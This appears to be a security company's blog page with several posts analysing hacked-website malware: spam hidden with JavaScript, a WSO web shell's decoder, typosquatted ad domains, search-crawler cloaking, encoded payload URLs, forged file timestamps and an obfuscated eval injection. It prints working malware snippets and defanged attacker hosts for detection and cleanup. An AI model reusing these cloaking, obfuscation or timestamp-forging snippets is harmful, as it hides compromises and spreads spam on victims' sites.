Category: Uncategorized

We've seen lots of JavaScript tricks that hide injected spam from human visitors while making it look "visible" for search engines.

The most popular approach is applying the display:none style to a spam block like here:

<div id="tesi"><strong style="font-weight: 400">...SPAMMY CONTENT HERE...</div><script>document.getElementById("t"+"e"+"s"+"i").style.display='none';</script>	

Here you can see a div block with id tesi, followed by a JavaScript that makes the element tesi invisible.

This looks obvious when you see it but may be not as obvious to search engine bots that need to figure out how the JavaScript code affects visibility of a particular content. To make thing even more difficult, the element id in the script is slightly obfuscated "t"+"e"+"s"+"i" and you really need to execute the code to identify the element it works with.

A more interesting obfuscation is used in the __e_accelerate campaign that we wrote about last week. The injected content consist of multiple blocks like this:

<script language="JavaScript">vouhihni='bumnajmi';imppkmat="none";</script><blockquote id="bumnajmi">...SPAMMY CONTENT HERE...</blockquote>

At first glance, the JavaScript code does't make any sence. Although we can see the id of the spam block there bumnajmi and the imppkmat="none"; part implies that it hides something. But we don't see what makes the bumnajmi element hidden.

The answer lies in the trailing JavaScript block:

<script language="JavaScript">sucoy=document.getElementById(vouhihni); sucoy.style.display=imppkmat;</script>

This block glues the parts of the first block together. The first variable is used to select a DOM element. And the second variable is used to make the selected element invisible.

While this trick may fool some search engines into indexing the spammy content while keeping the spam invisble to human visitors, it's still not a problem for website security scanners like our SiteCheck that see and report the spam.

Remember the wave of HTML files infection back in 2015 affecting outdated WordPress sites? Now it came back more powerful, with more files uploaded via a PHP backdoor.

We have found large number of created folders in the root folder of a website.

The naming convention of the SPAM files was different from the previous infections, and the uploader backdoor script was located in the wp-content folder.

The obfuscation had this string:

eval(fUUPd("jbvnzvTQep53AAZ8Dhs7BiKFjlmGFYISsAx772QUCKzD3nuQYw8/SY71x95+AWJAcnGVZz...

where fUUPd was a custom decryption function based on gzinflate/base64_decode and character code shift.

function fUUPd($NVAR) { 	$NVAR=gzinflate(base64_decode($NVAR)); 	for($i=0;$i<strlen($NVAR);$i++) { 		$NVAR[$i] = chr(ord($NVAR[$i])-1); 	} 	return $NVAR; }

After decoding, it was easy to recognize the most popular WSO/FilesMan web shell.

The interesting part was the sitemap.xml files in all SPAM folders that clearly speeded up indexing of the malicious pages in popular search engines.

Keep an eye on your Search Console reports and notifications - you may find early signs of the compromise there. Act before it's too late and Google places embarrassing "This site may be hacked" label on your search results. Website security monitoring will help you stay on top of things.

You might know Google popular services: AdWords, AdSense and DoubleClick. You might even know scripts and domains they use. For example, DoubleClick loads scripts from googleads.g.doubleclick.net and AdWords load a conversion tracker script from www.googleadservices.com/pagead/conversion.js.

<script type="text/javascript"   src="//www.googleadservices.com/pagead/conversion.js">   </script>

Recently, we cleaned an infected WordPress site where every post in the wp_posts table was appended by the following script.

<script src="http://ads.googleadservices[.]at/counter.js" type="text/javascript"></script>

The same googleadservices domain, just on the .at TLD. Easy to confuse with the Google's one.

This domain can be also found in conditional mobile redirect rules in .htaccess

...RewriteRule ^(.*)$ http://mobile.googleadservices[.]at [L,R=302]

If we open that counter.js script, we'll see that it creates a pop-up loading hxxp://googleads.g.doubleclick[.]cn.com/cfqv.cgi?18. Again, the same googleads.g.doubleclick domain as in DoubleClick but on .cn.com instead of .net.

In our experience. such domains usually redirect traffic to some ad network or to whoever pays for it. In this case, the pop-up always shows the usa-immigration-service[.]us site and it looks like the whole malware campaign was created (and doubleclick[.]cn.com and googleadservices[.]at were registered) specifically to promoted that immigration service site (which could easily be a scam).

You can see it if you check the IP addresses of each site:

• ads.googleadservices[.]at 37.139.50.191 - dedicated server in Russia
• googleads.g.doubleclick[.]cn.com - 37.139.50.190 - dedicated server in Russia
• usa-immigration-service[.]us - 37.139.50.190 - dedicated server in Russia

Summary

• Don't trust well know domains. Especially when they are misspelled or have a different TLD. Especially when they are found in the places where you didn't put them.
• Don't trust obtrusive ads. If you see pop-up or redirects unrelated to sites you visit, the chances are they are scam.
• When you clean your website, don't forget about the database. It can be infected too. We clean lots of sites with infected databases.

Many black hat SEO campaigns use cloaking on hacked sites. Malicious scripts only inject spammy content when search engine crawlers request web pages on compromised sites. This time we came across an unusual cloaking condition.

We've been watching one spam campaign that uses php functions with names like __e_accelerate or __e_accelerate_engine for quite a long time. It normally used this cloaking condition:

if ((substr(trim($_SERVER['REMOTE_ADDR']),0,6)=='74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {...

The spam is being injected only if web pages are requested from Google's IPs (Google has an IP range that begins with '74.125') or if the request's User-Agent header belongs to crawlers of the most popular search engines: Google, Bing, Yahoo, Ask, etc. This condition is more or less typical to cloaking conditions used by the majority of other black hat SEO campaigns.

To our surprise, recently we found a variation of that e_accelerate malware that had the following cloaking condition:

if (!preg_match("/(ahrefs|majestic|baidu)/i", $_SERVER['HTTP_USER_AGENT'])) {...

So now this malware injects spam to requests from both search crawlers and humans. They only hide their spam from Ahrefs.com, Majestic (ex MajesticSEO) and Baidu. The exclusion rules look unusual, don't they?

Let's try to figure out what's going on. When checking the injected spammy text, I can see that it has scripts that make the text invisible in browsers that execute JavaScript (i.e. all modern browsers) so it's safe to "show" it human visitors.

To understand why they hide their spam from Ahrefs, Majestic and Baidu, we should know what these sites do.

Baidu is the #1 Chinese search engine. By hiding spammy links from Baidu, they prevent them from ranking well in China. So they are simply are not interested in Chinese traffic.

Ahrefs and Majestic are SEO tools that allow to view backlink profiles for any domain. They have their own crawlers, and the volumes of pages indexed by these tools are not much smaller than Google's index. This means that if we check information for domains used in spammy links, we can easily find hacked sites that link back to them. So the goal of hiding spammy links from Ahrefs and Majestic is preventing easy discovery of the sites hacked by this campaign.

By the way, they currently promote these sites:

• buycialistadalafil[.]org
• buycheapsildenafils[.]com
• writemypaper-online[.]us
• buy-essayforcheap[.]xyz

... and despite of the spammers' efforts, Majestic has backlink profiles for some of them 😉

This malware can be usually found in WordPress index.php or in Joomla! includes/defines.php files. If you need a professional help with cleanup, you can request it here

It's just a minor update about the "pseudo-darkleech" malware we've been following for about a year now.

We wrote that it can be usually located inside the wp-includes/nav-menu.php file in WordPress and in the includes/defines.php files in Joomla! sites. But these are not the only targeted CMS'. We also find Drupal sites infected by this malware. The includes/bootstrap.inc file is where this malware can be found in Drupal sites.

The malware fetches the code it injects into webpages from third-party servers. The URLs of those servers are encoded using the base64 algorithm, e.g.:

$url = base64_decode("aHR0cDovLzkzLjE4OS40Mi43Mi9ibG9nLz9mcmFnaWxlJnV0bV9zb3VyY2U9MjQ2NzoyNjAzODM6NDU1");

Which decodes to hxxp://93 .189 .42 .72/blog/?fragile&utm_source=2467:260383:455.

But there are versions that use a custom encryption/decryption algorithm.

$url = decrypt_url('a3d3czksLDI2Mi0xMjQtNjQtMjQ7LGFvbGQsPGFmd2IldnduXHBsdnFgZj41NTQxOzk1MTA3MTs5NDQ0');

Here's the decryption function:

function decrypt_url($encrypted_url)
{
    $encrypted_url = base64_decode($encrypted_url);
    $url = '';
    for ($i = 0; $i < strlen($encrypted_url); $i++)
    {
        $url .= chr(ord($encrypted_url[$i]) ^ 3);
    }
    return $url;
}

So the decoded URL is hxxp://151 .217. 57 .178/blog/?beta&utm_source=66728:623428:777

The rest of the code doesn't change much so we reliably detect this malware when we clean sites, even if we didn't see pseudo-darkleech on some particular CMS before.

Some webmasters only check recently modified files when searching for malware. It may work sometimes, but many infections don't change files' time-stamps. There is the "touch" PHP function that allows to set whatever modification time to any file.

If hackers create a new file, they chose a time-stamp of some neighbor file. If they inject code into an existing file, they simply save its original modification date and then restore it after the injection.

Today I want to show you a piece of code that also sets fake modification date to malicious files:

function change_content_of_file($file, $base64_content)
{
    $flag = false;

    @chmod($file, 0777);
    @chmod(dirname($file), 0777);
    $flag = @forceFilePutContents($file,  base64_decode($base64_content)) > 0;
    @chmod($file, 0444);
    @touch($file, time() - rand(60*60*24*30*12, 60*60*24*30*12*2));
    @touch(dirname($file), time() - rand(60*60*24*30*12, 60*60*24*30*12*2));
    @chmod(dirname($file), 0755);

    return $flag;
}

In this case, the code picks a random date between a year and two years back from now.

Don't limit your searches to recently modified files. Make sure to scan all files on your server. You don't have to do it manually. Integrity control systems will make the task much easier. Of course, you need to be absolutely sure all your files are clean at the moment when you put them under integrity control. If you already suspect that some of the files may contain malicious code then hire professionals - we'll scan all your files for thousands of malware patterns.

We see quite a few sites with the following injected PHP code:

//###=CACHE START=###
error_reporting(0); 
$strings = "as";$strings .= "sert";
@$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXF...skipped...Tyvqwg9"));'));
//###=CACHE END=###

This malware contacts dfoiqweomxa[.]ru and fetches spam links from there. The spam mainly promotes Russian phishing and money laundering sites. Infected sites can be found all around the world. We found this spam even on sites of American and international universities.